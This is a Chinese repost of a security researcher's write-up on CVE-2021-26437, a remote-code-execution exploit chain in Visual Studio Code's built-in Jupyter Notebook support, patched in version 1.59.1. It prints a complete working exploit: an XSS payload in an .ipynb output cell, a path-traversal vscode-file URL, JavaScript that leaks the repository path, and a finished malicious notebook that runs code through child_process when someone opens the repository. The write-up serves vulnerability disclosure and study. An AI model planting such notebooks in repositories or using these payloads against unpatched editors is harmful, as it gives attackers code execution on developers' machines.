前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Visual Studio Code Jupyter Notebook RCE

Visual Studio Code Jupyter Notebook RCE

作者头像
洛米唯熊
发布2023-01-03 16:59:43
6990
发布2023-01-03 16:59:43
举报
文章被收录于专栏:洛米唯熊洛米唯熊

在过去的周末,我抽出几个小时来研究Justin Steven在 2021 年 8 月发现的这个Visual Studio Code .ipynb Jupyter Notebook 漏洞的利用情况。

.ipynbJustin 发现了一个影响 VSCode 对 Jupyter Notebook ( ) 文件的内置支持的跨站点脚本 (XSS) 漏洞。

代码语言:javascript
复制
{
  "cells": [
    {
      "cell_type": "code",
      "execution_count": null,
      "source": [],
      "outputs": [
        {
          "output_type": "display_data",
          "data": {"text/markdown": "<img src=x onerror='console.log(1)'>"}
        }
      ]
    }
  ]
}

他的分析详细说明了这个问题,并展示了一个概念证明,它从磁盘读取任意文件,然后将其内容泄露到远程服务器,但这并不是一个完整的 RCE 漏洞利用。

我找不到一种方法来利用这个 XSS 原语来实现任意代码执行,但是更熟练的 Electron 开发人员可能能够做到这一点。[…]

鉴于我们专注于 ElectronJs(和许多其他网络技术),我决定研究潜在的利用场所。

作为第一步,我查看了应用程序的整体设计,以便识别BrowserWindow/BrowserView/WebviewVScode 使用的每个配置。在ElectroNG的帮助下,可以观察到应用程序使用单个BrowserWindowwith nodeIntegration:on

这使用类似于协议BrowserWindow的协议加载内容。不幸的是,我们的注入发生在嵌套的沙盒 iframe 中,如下图所示:vscode-filefile

特别是,我们的sandboxiframe 是使用以下属性创建的:

代码语言:javascript
复制
allow-scripts allow-same-origin allow-forms allow-pointer-lock allow-downloads

默认情况下,sandbox使浏览器将 iframe 视为来自另一个来源,即使它src指向同一个站点。由于该allow-same-origin属性,此限制被解除。只要 webview 中加载的内容也托管在本地文件系统(在 app 文件夹中),我们就可以访问该top窗口。有了它,我们可以简单地使用类似的东西执行代码top.require('child_process').exec('open /System/Applications/Calculator.app');

那么,我们如何将我们的任意 HTML/JS 内容放在应用程序安装文件夹中呢?

或者,我们可以引用该文件夹之外的资源吗?

答案来自我在最新的 Black Hat USA 2022 简报中观看的一个演示文稿。在利用CVE-2021-43908时,TheGrandPew和s1r1us使用路径遍历来加载 VSCode 安装路径之外的任意文件。

vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html

与他们的利用类似,我们可以尝试利用 apostMessage的回复来泄露当前用户目录的路径。实际上,我们的有效负载可以与触发 XSS 的 Jupyter Notebook 文件一起放置在恶意存储库中。

经过几个小时的反复试验,我发现我们可以通过在事件img期间强制执行来获取触发 XSS 的标签的引用onload

有了这个,所有的成分都准备好了,我终于可以组装最终的漏洞利用了。

代码语言:javascript
复制
var apploc = '/Applications/Visual Studio Code.app/Contents/Resources/app/'.replace(/ /g, '%20');
var repoloc;
window.top.frames[0].onmessage = event => {
    if(event.data.args.contents && event.data.args.contents.includes('<base href')){  
        var leakloc = event.data.args.contents.match('<base href=\"(.*)\"')[1];
        var repoloc = leakloc.replace('https://file%2B.vscode-resource.vscode-webview.net','vscode-file://vscode-app'+apploc+'..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..');
        setTimeout(async()=>console.log(repoloc+'poc.html'), 3000)
        location.href=repoloc+'poc.html';
    }
};
window.top.postMessage({target: window.location.href.split('/')[2],channel: 'do-reload'}, '*');

为了在文件中传递这个有效载荷,.ipynb我们仍然需要克服最后一个限制:当前的实现会导致格式错误的 JSON。注入发生在 JSON 文件(双引号)中,我们的 Javascript 有效负载包含带引号的字符串以及用作提取路径的正则表达式的分隔符的双引号。

经过一番修改,最简单的解决方案是使用反引号 ` 字符而不是所有 JS 字符串的引号。

最终pocimg.ipynb文件如下所示:

代码语言:javascript
复制
{
  "cells": [
    {
      "cell_type": "code",
      "execution_count": null,
      "source": [],
      "outputs": [
        {
          "output_type": "display_data",
          "data": {"text/markdown": "<img src='a445fff1d9fd4f3fb97b75202282c992.png' onload='var apploc = `/Applications/Visual Studio Code.app/Contents/Resources/app/`.replace(/ /g, `%20`);var repoloc;window.top.frames[0].onmessage = event => {if(event.data.args.contents && event.data.args.contents.includes(`<base href`)){var leakloc = event.data.args.contents.match(`<base href=\"(.*)\"`)[1];var repoloc = leakloc.replace(`https://file%2B.vscode-resource.vscode-webview.net`,`vscode-file://vscode-app`+apploc+`..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..`);setTimeout(async()=>console.log(repoloc+`poc.html`), 3000);location.href=repoloc+`poc.html`;}};window.top.postMessage({target: window.location.href.split(`/`)[2],channel: `do-reload`}, `*`);'>"}
        }
      ]
    }
  ]
}

通过使用该文件打开一个恶意存储库,我们最终可以触发我们的代码执行。

http://mpvideo.qpic.cn/0bc3meakeaaaiiajrcc3orrvayodujqqbiqa.f10002.mp4?dis_k=336f6a7707b8d77b31691b70e975e86b&dis_t=1672736327&play_scene=10400&vid=wxv_2639572356012670978&format_id=10002&support_redirect=0&mmversion=false 内置的 Jupyter Notebook 扩展选择退出 Visual Studio Code 1.57 中引入的工作区信任功能提供的保护,因此不需要进一步的用户交互。作为记录,此问题已在 VScode 1.59.1 中修复,Microsoft 为其分配了CVE-2021-26437。

原文来源:

代码语言:javascript
复制
https://blog.doyensec.com/2022/10/27/jupytervscode.html
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-10-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档